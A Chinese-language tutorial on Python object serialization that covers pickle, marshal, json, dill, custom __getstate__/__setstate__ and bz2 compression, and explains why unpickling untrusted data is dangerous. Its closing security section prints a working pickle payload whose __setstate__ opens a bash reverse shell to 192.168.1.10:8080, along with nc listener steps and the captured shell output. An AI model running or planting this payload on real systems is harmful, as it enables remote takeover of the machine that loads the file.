Python的Pickle模块
开发人员有时可能希望通过网络发送一些复杂对象命令,并保存对象的内部状态以便以后使用。为了实现这一目标,开发人员可以使用序列化过程,该过程得到了Python的Pickle模块的支持。
在本教程中,我们将讨论对象的序列化和反序列化以及用户应在Python中使用哪个模块来序列化对象。可以使用Python的Pickle模块对各种对象进行序列化。我们还将解释如何使用Pickle模块来对对象层次结构进行序列化,以及开发人员在从不受信任的源反序列化对象时可能面临的风险是什么?
Python中的序列化
序列化的过程是将数据结构转换为可存储或通过网络传输的线性形式。
在Python中,序列化允许开发人员将复杂的对象结构转换为一系列字节流,这些字节流可以保存在磁盘上或通过网络发送。开发人员可以将这个过程称为 marshalling(编组)。 相反,反序列化是序列化的逆过程,用户将字节流转换为数据结构。这个过程可以称为unmarshalling(解组)。
开发人员可以在许多不同的情况下使用序列化。其中之一是在处理训练阶段后保存神经网络的内部状态,这样他们以后可以使用这个状态,而不必重新进行训练。
在Python中,标准库中有三个模块允许开发人员对对象进行序列化和反序列化:
- pickle模块
- marshal模块
- json模块
Python还支持 XML ,开发人员可以将其用于对象的序列化。
json模块是这三个模块中的最新模块。它允许开发人员在标准JSON文件之外进行开发。Json是最适合和最常用的数据交换格式。
选择 JSON 格式有许多原因:
- 它易于阅读
- 它不依赖于编程语言
- 它比XML更轻量级
使用json模块,开发人员可以对不同的标准Python类型进行序列化和反序列化:
- 列表
- 字典
- 字符串
- 整数
- 元组
- 布尔值
- 浮点数
- None
在这三个模块中,最古老的模块是marshal模块。它的主要用途是读写Python模块的编译字节码,或者是解释器在导入Python模块时生成的.pyc文件。因此,开发人员可以使用marshal模块对对象进行序列化,但不建议这样做。
Python的pickle模块是Python中对象的另一种序列化和反序列化方法。它与json模块不同,以二进制格式对对象进行序列化,其结果无法被人类读取。虽然它比其他方法快,可以与许多其他Python类型一起使用,包括开发人员自定义的对象。
因此,开发人员可以使用许多不同的方法来对Python中的对象进行序列化和反序列化。总结哪种方法适合开发人员的情况有三个重要的指导方针:
- 不要使用marshal模块,因为它主要由解释器使用。官方文档警告说,Python的维护者可以修改与向后不兼容类型的格式。
- 如果开发人员需要与不同的语言和可读格式进行交互,则XML和json模块是安全选择。
- 对于所有其它情况,Python的pickle模块是最佳选择。假设开发人员不想要一个可读格式和标准的可交互格式,并且需要对自定义对象进行序列化。那么他们可以选择pickle模块。
在pickle模块内部
Python的pickle模块包含四个方法:
- dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)
- dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)
- load(file, *, fix_imports=True, encoding=”ASCII”, errors=”strict”, buffers=None)
- loads(bytes_object, *, fix_imports=True, encoding=”ASCII”, errors=”strict”, buffers=None)
前两个方法用于pickling过程,后两个方法用于unpickling过程。
dump()和dumps()的区别在于dump()创建包含序列化结果的文件,而dumps()返回字符串。
为了区分dumps()和dump(),开发人员可以记住在dumps()函数中,’s’代表字符串。
相同的概念可以应用于load()和loads()函数。load()函数用于读取文件进行unpickling过程,而loads()函数操作字符串。
假设用户有一个名为forexample_class
的自定义类,其中包含许多不同类型的属性:
- the_number
- the_string
- the_list
- the_dictionary
- the_tuple
下面的示例解释了用户如何实例化该类并pickle实例以获得纯字符串。在pickling该类之后,用户可以修改其属性的值而不影响pickled字符串。用户随后可以在另一个变量中unpickle之前pickle的字符串,并恢复pickled类的副本。
例如:
# pickle.py
import pickle
class forexample_class:
the_number = 25
the_string = " hello"
the_list = [ 1, 2, 3 ]
the_dict = { " first ": " a ", " second ": 2, " third ": [ 1, 2, 3 ] }
the_tuple = ( 22, 23 )
user_object = forexample_class()
user_pickled_object = pickle.dumps( user_object ) # here, user is Pickling the object
print( f" This is user's pickled object: \n { user_pickled_object } \n " )
user_object.the_dict = None
user_unpickled_object = pickle.loads( user_pickled_object ) # here, user is Unpickling the object
print(
f" This is the_dict of the unpickled object: \n { user_unpickled_object.the_dict } \n " )
输出:
This is user's pickled object:
b' \x80 \x04 \x95$ \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x8c \x08__main__ \x94 \x8c \x10forexample_class \x94 \x93 \x94) \x81 \x94. '
This is the_dict of the unpickled object:
{' first ': ' a ', ' second ': 2, ' third ': [ 1, 2, 3 ] }
示例
解释
在这里,腌制过程已经正确结束,并将用户的整个实例存储在字符串中:b’\x80\x04\x95$\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x10forexample_class\x94\x93\x94)\x81\x94.’完成腌制过程后,用户可以将原始对象更改为将the_dict属性设置为None。
现在,用户可以对字符串进行反腌制,得到完全新的实例。用户可以从腌制对象开始时的原始对象结构获取其深层副本。
Python Pickle模块的协议格式
pickle模块是Python特定的,它的结果只能被另一个Python程序读取。尽管开发者可能在使用Python,但他们应该知道pickle模块现在已经很先进。
这意味着如果开发者使用特定版本的Python对对象进行了腌制,他们可能无法使用先前版本对对象进行反腌制。
这取决于开发者在腌制过程中使用的协议版本的兼容性。
Python的Pickle模块可以使用六种不同的协议。对于解析最新的Python解析器的要求与协议版本的高低成正比。
- 协议版本0 – 这是第一个版本。与其他协议不同,它是可读的。
- 协议版本1 – 这是第一个二进制格式。
- 协议版本2 – 这是在Python 2.3中引入的。
- 协议版本3 – 这是在Python 3.0中添加的。Python 2.x版本无法对其进行反腌制。
- 协议版本4 – 这是在Python 3.4中添加的。它支持更广范围的对象大小和类型,并且是从Python 3.8开始的默认协议。
- 协议版本5 – 这是在Python 3.8中添加的。它支持带外数据和改进的带内数据速度。
要选择特定协议,开发者在调用dump()、dumps()、load()或loads()函数时必须指定协议版本。如果不指定协议,解释器将使用pickle.DEFAULT_PROTOCOL属性中指定的默认版本。
可腌制和不可腌制的类型
我们已经讨论过Python的pickle模块可以序列化比json模块更多的类型,尽管并非所有都可腌制。
不可腌制对象的列表还包括数据库连接、运行中的线程、打开的网络套接字等等。
如果用户遇到了无法pickle的对象,那么他们可以做几件事。他们的第一选择是使用第三方库,例如 dill 。
dill库可以扩展pickle的功能。该库可以让用户序列化更少见的类型,例如带有yield的函数、lambda表达式、嵌套函数等等。
为了测试这个模块,用户可以尝试pickle一个lambda函数。
例如:
# pickle_error.py
import pickle
squaring = lambda x : x * x
user_pickle = pickle.dumps( squaring )
如果用户尝试运行此代码,由于Python的pickle模块无法序列化lambda函数,他们将会得到一个异常。
输出:
PicklingError Traceback (most recent call last)
<ipython-input-9-1141f36c69b9> in <module>
3
4 squaring = lambda x : x * x
----> 5 user_pickle = pickle.dumps(squaring)
PicklingError: Can't pickle <function <lambda> at 0x000001F1581DEE50>: attribute lookup <lambda> on __main__ failed
现在,如果用户将pickle模块替换为dill库,他们可以看到不同之处。
例如:
# pickle_dill.py
import dill
squaring = lambda x: x * x
user_pickle = dill.dumps( squaring )
print( user_pickle )
在运行上述程序之后,用户可以看到dill库已经成功序列化了lambda函数,没有出现任何错误。
输出:
b' \x80 \x04 \x95 \xb2 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x8c \ndill._dill \x94 \x8c \x10_create_function \x94 \x93 \x94 ( h \x00 \x8c \x0c_create_code \x94 \x93 \x94 ( K \x01K \x00K \x00K \x01K \x02KCC \x08| \x00| \x00 \x14 \x00S \x00 \x94N \x85 \x94 ) \x8c \x01x \x94 \x85 \x94 \x8c \x1f< ipython-input-11-30f1c8d0e50d > \x94 \x8c \x08< lambda > \x94K \x04C \x00 \x94 ) )t \x94R \x94c__builtin__ \n__main__ \nh \nNN } \x94Nt \x94R \x94. '
另外一个dill库的有趣特点是,它可以序列化整个解释器会话。
例如:
squaring = lambda x : x * x
p = squaring( 25 )
import math
q = math.sqrt ( 139 )
import dill
dill.dump_session( ' testing.pkl ' )
exit()
在上面的示例中,用户启动了解释器,导入了模块,然后定义了lambda函数以及一些其他变量。然后他们导入了dill库,并调用了dump_session()函数来序列化整个会话。
如果用户正确运行了代码,那么他们将在当前目录下获得testing.pkl文件。
输出:
$ ls testing.pkl
4 -rw-r--r--@ 1 dave staff 493 Feb 12 09:52 testing.pkl
现在,用户可以启动解释器的新实例,并加载testing.pkl文件以恢复上次的会话。
举例来说:
globals().items()
输出:
dict_items( [ ( ' __name__ ' , ' __main__ ' ) , ( ' __doc__ ' , ' Automatically created module for IPython interactive environment ' ) , ( ' __package__ ' , None ) , ( ' __loader__ ' , None ) , ( ' __spec__ ' , None ) , ( ' __builtin__ ' , < module ' builtins ' ( built-in ) > ) , ( ' __builtins__ ' , < module ' builtins ' ( built-in ) > ) , ( ' _ih ' , [ ' ' , ' globals().items() ' ] ) , ( ' _oh ' , {} ) , ( ' _dh ' , [ ' C:\\Users \\User Name \\AppData \\Local \\Programs \\Python \\Python39 \\Scripts ' ] ) , ( ' In ' , [ ' ' , ' globals().items() ' ] ) , ( ' Out ' , {} ) , ( ' get_ipython ' , < bound method InteractiveShell.get_ipython of < ipykernel.zmqshell.ZMQInteractiveShell object at 0x000001E1CDD8DDC0 > > ) , ( ' exit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' quit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' _ ' , ' ' ) , ( ' __ ' , ' ' ) , ( ' ___ ' , ' ' ) , ( ' _i ' , ' ' ) , ( ' _ii ' , ' ' ) , ( ' _iii ' , ' ' ) , ( ' _i1 ' , ' globals().items() ' ) ] )
import dill
dill.load_session( ' testing.pkl ' )
globals().items()
输出:
dict_items( [ ( ' __name__ ' , ' __main__ ' ) , ( ' __doc__ ' , ' Automatically created module for IPython interactive environment ' ) , ( ' __package__ ' , None ) , ( ' __loader__ ' , None ) , ( ' __spec__ ' , None ) , ( ' __builtin__ ' , < module ' builtins ' ( built-in ) > ) , ( ' __builtins__ ' , < module ' builtins ' ( built-in ) > ) , ( ' _ih ' , [ ' ' , " squaring = lambda x : x * x \na = squaring( 25 ) \nimport math \nq = math.sqrt ( 139 ) \nimport dill \ndill.dump_session( ' testing.pkl ' ) \nexit() " ] ) , ( ' _oh ' , {} ) , ( ' _dh ' , [ ' C:\\ Users\\ User Name \\AppData \\Local \\Programs \\Python \\Python39 \\Scripts ' ] ) , ( ' In ' , [ ' ' , " squaring = lambda x : x * x \np = squaring( 25 ) \nimport math\nq = math.sqrt ( 139 ) \nimport dill \ndill.dump_session( ' testing.pkl ' ) \nexit() " ] ) , ( ' Out ' , {} ) , ( ' get_ipython ' , < bound method InteractiveShell.get_ipython of < ipykernel.zmqshell.ZMQInteractiveShell object at 0x000001E1CDD8DDC0 > > ) , ( ' exit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' quit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' _ ' , ' ' ) , ( ' __ ' , ' ' ) , ( ' ___ ' , ' ' ) , ( ' _i ' , ' ' ) , ( ' _ii ' , ' ' ) , ( ' _iii ' , ' ' ) , ( ' _i1 ' , " squaring = lambda x : x * x \np = squaring( 25 ) \nimport math \nq = math.sqrt ( 139 ) \nimport dill \ndill.dump_session( ' testing.pkl ' ) \nexit() " ) , ( ' _1 ' , dict_items( [ ( ' __name__ ' , ' __main__ ' ) , ( ' __doc__ ' , ' Automatically created module for IPython interactive environment ' ) , ( ' __package__ ' , None ) , ( ' __loader__ ' , None ) , ( ' __spec__ ' , None ) , ( ' __builtin__ ' , < module ' builtins ' ( built-in ) > ) , ( ' __builtins__ ' , < module ' builtins ' ( built-in ) > )
p
输出:
625
q
输出:
22.0
squaring
输出:
(x)>
这里,第一个globals().item()语句显示解释器处于初始状态,意味着开发者需要导入dill库并调用load_session()来恢复他们序列化的解释器会话。
开发者应该记住,如果他们使用的是dill库而不是pickle模块,那么标准库中是不包括dill库的。它比pickle模块慢。
dill库可以序列化比pickle模块更广泛的对象,但它无法解决开发者可能面临的所有序列化问题。如果开发者想要序列化包含数据库连接的对象,那么他们无法使用dill库。对于dill库来说,那是一个未序列化的对象。
解决这个问题的方法是在序列化过程中排除该对象,以便在对象反序列化后重新初始化连接。
开发者可以使用getstate()来定义哪些对象应该包含在pickling过程中,哪些不应该。这个方法允许开发者指定他们想要pickle的内容。如果他们不重写getstate(),那么将使用默认的dict(),它是一个默认实例。
在下面的示例中,用户定义了一个带有多个属性的类,然后使用getstate()将其中一个属性排除在序列化过程之外。
例如:
# custom_pickle.py
import pickle
class foobar:
def __init__( self ):
self.p = 25
self.q = " testing "
self.r = lambda x: x * x
def __getstate__( self ):
attribute = self.__dict__.copy()
del attribute[ 'r' ]
return attribute
user_foobar_instance = foobar()
user_pickle_string = pickle.dumps( user_foobar_instance )
user_new_instance = pickle.loads( user_pickle_string )
print( user_new_instance.__dict__ )
在上面的示例中,用户创建了具有三个属性的对象,其中一个属性是一个lambda,对于pickle模块来说是无法pickle的对象。为了解决这个问题,他们在getstate()中指定了要pickle的属性。用户克隆了实例的整个字典来定义类中的所有属性,然后删除了不可pickle的属性’r’。 运行此代码并对对象进行反序列化后,用户可以看到新实例不包含’r’属性。 输出:
{'p': 25, 'q': ' testing '}
但是如果用户在反序列化的过程中想要进行额外的初始化,比如将排除的’r’属性添加回已反序列化的实例中。他们可以通过使用setstate()函数来实现这一点。
例如:
# custom_unpickle.py
import pickle
class foobar:
def __init__( self ):
self.p = 25
self.q = " testing "
self.r = lambda x: x * x
def __getstate__( self ):
attribute = self.__dict__.copy()
del attribute[ 'r' ]
return attribute
def __setstate__(self, state):
self.__dict__ = state
self.c = lambda x: x * x
user_foobar_instance = foobar()
user_pickle_string = pickle.dumps( user_foobar_instance )
user_new_instance = pickle.loads( user_pickle_string )
print( user_new_instance.__dict__ )
在这里,通过将被排除的属性’r’传递给setstate(),用户确保对象将出现在反序列化字符串的dict中。
结果:
{' p ': 25, ' q ': ' testing ', ' r ': < function foobar.__setstate__.< locals >.< lambda > at 0x000001F2CB063700 > }
压缩Pickle对象
pickle数据格式是对象结构的紧凑二进制表示,但用户仍然可以通过使用bzip2或gzip对pickle字符串进行压缩来优化它。
要使用bzip2对pickled字符串进行压缩,用户必须使用Python标准库中提供的bz2模块。
例如,用户可以使用字符串并将其pickle,然后使用bz2模块进行压缩。
例如:
import pickle
import bz2
user_string = """Per me si va ne la città dolente,
per me si va ne l'etterno dolore,
per me si va tra la perduta gente.
Giustizia mosse il mio alto fattore:
fecemi la divina podestate,
la somma sapienza e 'l primo amore;
dinanzi a me non fuor cose create
se non etterne, e io etterno duro.
Lasciate ogne speranza, voi ch'intrate."""
pickling = pickle.dumps( user_string )
compressed = bz2.compress( pickling )
len( user_string )
输出:
312
len( compressed )
输出:
262
用户应记住,更小的文件会导致较慢的进程。
使用pickle模块的安全性问题
到目前为止,我们已经讨论了如何在Python中使用pickle模块对对象进行序列化和反序列化。当开发人员希望将对象的状态保存到磁盘上或通过网络传输时,序列化过程非常方便。
然而,开发人员还应该了解一件事,即Python的pickle模块并不是非常安全。如前所述,我们已经讨论了使用setstate()函数的用途。这种方法不仅可以在反序列化过程中执行更多初始化操作,还可以执行任意代码。
开发人员对于降低风险几乎无能为力。基本规则是开发人员不应该从不可信源或通过不安全的网络传输解pickle数据。为了防止攻击,用户可以使用像hmac这样的库对数据进行签名,并确保数据未被篡改。
例如:
了解如何解pickle篡改的pickle文件将用户系统暴露给攻击者。
# remote.py
import pickle
import os
class foobar:
def __init__( self ):
pass
def __getstate__( self ):
return self.__dict__
def __setstate__( self, state ):
# The attack is from 192.168.1.10
# The attacker is listening on port 8080
os.system('/bin/bash -c
"/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1"')
user_foobar = foobar()
user_pickle = pickle.dumps( user_foobar )
user_unpickle = pickle.loads( user_pickle )
示例
在上面的示例中,反pickle的过程已经执行了setstate(),这将执行一个Bash命令,用于在端口8080上打开到192.168.1.10系统的远程shell。
这是用户可以在Mac或Linux系统上安全测试脚本的方法。首先,他们必须打开终端,然后使用nc命令来列出到端口8080的连接。
例如:
$ nc -l 8080
这个终端将用于攻击者。
然后,用户必须在同一台计算机系统上打开另一个终端,并执行Python代码以解除恶意代码。
用户必须确保在代码中更改IP地址为攻击终端的IP地址。在执行代码后,Shell暴露给攻击者。
remote.py
现在,一个bash shell将在攻击控制台上可见。现在,可以直接在被攻击的系统上操作这个控制台。
例如:
$ nc -l 8080
输出:
bash: no job control in this shell
The default interactive shell is now zsh.
To update your account to use zsh, please run ` chsh -s /bin /zsh`.
For more details, please visit https://support.apple.com /kb /HT208060.
bash-3.1$
结论
本文介绍了如何使用Python的不同模块对对象进行序列化和反序列化,并解释了为什么pickle模块比其他模块更好。我们还解释了一些对象无法反序列化的原因,以及如何避免由此引起的问题。